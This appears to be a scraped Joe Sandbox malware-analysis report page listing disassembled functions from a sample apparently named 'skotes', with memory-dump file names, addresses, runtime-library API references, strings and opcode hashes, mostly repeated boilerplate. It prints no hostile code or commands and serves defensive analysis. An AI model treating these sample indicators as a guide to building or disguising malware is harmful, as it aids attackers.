Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr
String ID: H
API String ID: 2332233096-2852464175
Opcode ID: 1e4bf34f48bfce73df7d93a96db492e283a7fc44e7842d5aabe9f2e25d0d3669
Instruction ID: a393bc2752a73a459364181ac13fa7620e7d14884cac7f0a522b06453c4c6f84
Opcode Fuzzy Hash: 1e4bf34f48bfce73df7d93a96db492e283a7fc44e7842d5aabe9f2e25d0d3669
Instruction Fuzzy Hash: 33A13532A141588FCF19AF68DC51BAE7BA9AF46320F18418DE816AF3D1DB748C43CB51

Function 0097182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009718A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 009718EB

Strings

pContext, xrefs: 0097189C

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 6aff9b57b54f9b823bb32ef9cd06f0d05919d5a3cafab96f96a083e65093dd97
Instruction ID: 3bd1d0442186a3a7981272d61b20e2de86c8ab493cb65561829800babb2c8ba6
Opcode Fuzzy Hash: 6aff9b57b54f9b823bb32ef9cd06f0d05919d5a3cafab96f96a083e65093dd97
Instruction Fuzzy Hash: 6621F933B006159BCF14AB6CD895BFD73A9BFD4334B04851AE519872D1CB64AC45CB92

Function 0096AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0096AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0096AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0096AF4E

Strings

pExecutionResource, xrefs: 0096AF07

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: bebbb6985db9cf3abd7858419d57d0823cade070ae8d3931320e24f006c85111
Instruction ID: b81b08f04acc3c65bbb843962b12b5382487a080d9367f88bd97e5fd2955ba74
Opcode Fuzzy Hash: bebbb6985db9cf3abd7858419d57d0823cade070ae8d3931320e24f006c85111
Instruction Fuzzy Hash: 9721AB756413059FCF14EF64C852BADB7A5BFC8314F144019F905A7382DBB1AE05CB95

Function 00964EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00964F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00964F66

Strings

count, xrefs: 00964EBA
ppVirtualProcessorRoots, xrefs: 00964F1C

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: d74889e6b5fe8dab2ef239e11fdf96704b17fdd0df3fb9cb1c636eb042f21f0e
Instruction ID: db2bdca31c722f8b3bdea87e2ca9a5720c4e1519494b2cc23c33298926505d60
Opcode Fuzzy Hash: d74889e6b5fe8dab2ef239e11fdf96704b17fdd0df3fb9cb1c636eb042f21f0e
Instruction Fuzzy Hash: B621DE35A00215EFCF14EFA8C892EAD77B5BF88314F004069F9169B691CB32AE01CB91

Function 0096B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0096BA0E

Strings

combase.dll, xrefs: 0096B983, 0096B988, 0096B99D, 0096B9C8
RoUninitialize, xrefs: 0096B9C1
RoInitialize, xrefs: 0096B998

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: dee55c007cfe8119091c928e50e1103e80d083dad728e6e93b6b302d730ed6aa
Instruction ID: 2a4e11b6a694180fed25763c231118941f660e0ae57c541f766ca9e4e3f2bef4
Opcode Fuzzy Hash: dee55c007cfe8119091c928e50e1103e80d083dad728e6e93b6b302d730ed6aa
Instruction Fuzzy Hash: 9A01F5716853126EDB10B7B69C1ABAB31DC9F06348F216829A584E6192FF35D80086A1

Function 00966E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00966E73

Part of subcall function 00964E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00964E7F
Part of subcall function 00964E6E: List.LIBCMT ref: 00964E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00966E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00966EAA

Strings

eventObject, xrefs: 00966E7D

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
